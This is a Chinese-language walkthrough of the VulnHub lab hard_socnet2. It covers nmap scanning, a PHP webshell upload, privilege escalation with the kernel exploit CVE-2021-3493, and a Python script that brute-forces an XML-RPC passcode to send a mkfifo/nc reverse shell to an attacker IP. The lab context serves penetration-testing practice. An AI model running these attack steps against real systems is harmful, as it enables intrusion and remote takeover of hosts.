hard_socnet2靶场实战

 https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova

nmap -sP 192.168.128.0/24  #对自己的靶机网段进行存活探测，获取靶机地址nmap -T4 -A -p- 192.168.128.128  #对目标进行全端口扫描

通过探测发现目标开启了22、80、8000端口访问80端口发现页面可以注册通过页面信息查看，admin在服务器上运行了一个monitor.py脚本

通过页面发现存在文件上传上传webshell，获取到上传地址：http://192.168.128.128/data/images/posts/10.php使用冰蝎成功连接webshll

uname -alsb_release -a

使用Ubuntu内核漏洞CVE-2021-3493进行提权下载地址：https://github.com/briskets/CVE-2021-3493gcc -o exp exploit.cchmod +x exp./exp

通过对monitor.py文件进行代码审计，发现该文件使用了SimpleXMLRPCServer模块，且还调用了大量的系统命令，其中在secure_cmd函数中，一但客户端猜对了passcode参数，便可以执行任意的操作系统指令。而这个passcode是1000-9999的一个随机数，所以我们可以暴力破解这个随机数从而达到提权的目的构造py脚本调用monitor.py------------------------------------------------------------import xmlrpc.clientwith xmlrpc.client.ServerProxy("http://192.168.128.128:8000/") as proxy:    random = 0    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.128.133 4321 >/tmp/f"    for p in range(1000,10000):        r = str(proxy.secure_cmd('id',p))        if not "Wrong" in r:            random = p            break    r = str(proxy.secure_cmd(cmd,random))    print(r)------------------------------------------------------------运行成功后成功获取socnet用户权限